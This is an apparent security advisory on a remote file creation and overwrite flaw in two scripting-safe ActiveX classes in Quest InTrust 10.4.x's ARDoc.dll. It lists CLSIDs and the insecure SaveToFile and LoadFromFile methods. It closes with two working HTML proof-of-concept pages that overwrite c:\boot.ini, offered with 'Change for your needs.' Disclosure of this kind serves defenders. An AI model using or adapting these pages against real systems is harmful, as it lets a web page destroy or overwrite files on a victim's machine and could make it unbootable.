Quest InTrust 10.4.x ReportTree and SimpleTree Classes ArDoc.dll ActiveX Control Remote File Creation / Overwrite
homepage: http://www.quest.com/intrust/
description: "InTrust securely collects, stores, reports and alerts on event log data from Windows, Unix and Linux systems, helping you comply with external regulations, internal policies and security best practices."
download url of a test version: http://www.quest.com/downloads/
file tested: Quest_InTrust---Full-Package_104.zip
Background:
The mentioned product, when installed, registers two classes with the following settings:
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll CLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF} ProgID: ARDOC.ReportTree.1 Implements IObjectSafety: yes Safe For Scripting (IObjectSafety): True Safe For Initialization (IObjectSafety): ?
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll CLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB} ProgID: ARDOC.SimpleTree.1 Implements IObjectSafety: yes Safe For Scripting (IObjectSafety): True Safe For Initialization (IObjectSafety): ?
According to IObjectSafety interface, this control is safe for scripting then Internet Explorer will allow scripting of this control.
Vulnerability: both classes expose insecure methods (read/write):
... /* DISPID=34 */ /* VT_BOOL [11] */ function LoadFromFile( /* VT_BSTR [8] */ $bstrFileName ) { /* method LoadFromFile */ } /* DISPID=35 */ /* VT_BOOL [11] */ function SaveToFile( /* VT_BSTR [8] */ $bstrFileName ) { /* method SaveToFile */ } ...
SaveToFile() allows arbitrary file creation and overwrite.
The resulting file has the following header:
D0 CF 11 E0 A1 B1 1A E1 00 00 00 00 ...
This seems a Microsoft Office file.
As attachment, two pocs, overwriting the boot.ini file. Change for your needs.
Other attacks are possible, including remote code execution if the attacker is able to control file content. At the time of report, however, this could not be achieved. I will post updates on this if demonstrated.
<!-- Quest InTrust 10.4.x SimpleTree Class ActiveX Control Remote File Overwrite
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll CLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB} ProgID: ARDOC.SimpleTree.1 Implements IObjectSafety: yes Safe For Scripting (IObjectSafety): True Safe For Initialization (IObjectSafety): ? --> <!-- saved from url=(0014)about:internet --> <html> <object classid='clsid:EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB' id='obj' WIDTH=640 height=480 /> </object> <script> obj.SaveToFile("c:\\boot.ini"); </script>
<!-- Quest InTrust 10.4.x ReportTree Class ActiveX Control Remote File Overwrite
binary path: C:\Program Files\Common Files\Aelita Shared\ARDoc.dll CLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF} ProgID: ARDOC.ReportTree.1 Implements IObjectSafety: yes Safe For Scripting (IObjectSafety): True Safe For Initialization (IObjectSafety): ? --> <!-- saved from url=(0014)about:internet --> <html> <object classid='clsid:C6FAAD6A-68AE-452B-9F7A-9293408F51EF' id='obj' /> </object> <script> obj.SaveToFile("c:\\boot.ini"); </script>
|